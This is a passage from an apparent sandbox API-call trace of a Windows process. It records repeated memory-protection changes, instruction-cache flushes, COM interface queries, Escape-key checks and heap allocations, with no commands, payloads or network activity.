returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.121] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.121] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.121] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.121] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffffffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.122] GetCurrentProcess () returned 0xffffffffffffffff [0095.122] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.122] GetCurrentProcess () returned 0xffffffffffffffff [0095.122] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.122] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.122] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.122] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.122] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.122] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.122] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.122] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.122] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.122] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.122] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.122] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.122] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.122] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.122] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.122] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.122] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.122] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.122] GetAsyncKeyState (vKey=27) returned 0 [0095.122] VarAdd (in: pvarLeft=0xb8fbad0, pvarRight=0xb8fbab8, pvarResult=0xb8fbaa0 | out: pvarResult=0xb8fbaa0) returned 0x0 [0095.123] IMalloc:Realloc (This=0x7feffc15380, pv=0x7473e80, cb=0x2000) returned 0x4d91000 [0095.123] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdb2200 [0095.123] IMalloc:Alloc (This=0x7feffc15380, cb=0x7d8) returned 0xbdb2a20 [0095.124] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdb2200, cb=0x90) returned 0xbdb2200 [0095.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe542d0) [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.125] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.125] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.125] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffffffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.126] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.126] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.127] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.127] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffffffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.128] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.128] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.128] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffffffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.128] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.129] GetCurrentProcess () returned 0xffffffffffffffff [0095.129] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.129] GetCurrentProcess () returned 0xffffffffffffffff [0095.129] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.129] GetCurrentProcess () returned 0xffffffffffffffff [0095.129] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.129] GetCurrentProcess () returned 0xffffffffffffffff [0095.129] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.129] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.129] GetCurrentProcess () returned 0xffffffffffffffff [0095.129] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.129] GetCurrentProcess () returned 0xffffffffffffffff [0095.129] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.129] GetCurrentProcess () returned 0xffffffffffffffff [0095.129] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.129] GetCurrentProcess () returned 0xffffffffffffffff [0095.129] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.129] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.129] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.129] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.129] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.129] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.129] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.129] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.129] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.129] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.129] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.129] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.129] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.129] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.129] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.129] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.130] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.130] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.130] GetAsyncKeyState (vKey=27) returned 0 [0095.130] VarAdd (in: pvarLeft=0xb8fbaa0, pvarRight=0xb8fba88, pvarResult=0xb8fba70 | out: pvarResult=0xb8fba70) returned 0x0 [0095.131] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdb5fe0 [0095.131] IMalloc:Alloc (This=0x7feffc15380, cb=0x7f0) returned 0xbdb6800 [0095.132] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdb5fe0, cb=0x90) returned 0xbdb5fe0 [0095.132] IMalloc:Free (This=0x7feffc15380, pv=0xbe54330) [0095.132] GetCurrentProcess () returned 0xffffffffffffffff [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.132] GetCurrentProcess () returned 0xffffffffffffffff [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.132] GetCurrentProcess () returned 0xffffffffffffffff [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.132] GetCurrentProcess () returned 0xffffffffffffffff [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.132] GetCurrentProcess () returned 0xffffffffffffffff [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.132] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.132] GetCurrentProcess () returned 0xffffffffffffffff [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.132] GetCurrentProcess () returned 0xffffffffffffffff [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.132] GetCurrentProcess () returned 0xffffffffffffffff [0095.132] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.133] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.133] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.133] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.133] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.133] GetCurrentProcess () returned 0xffffffffffffffff [0095.133] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.133] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.134] 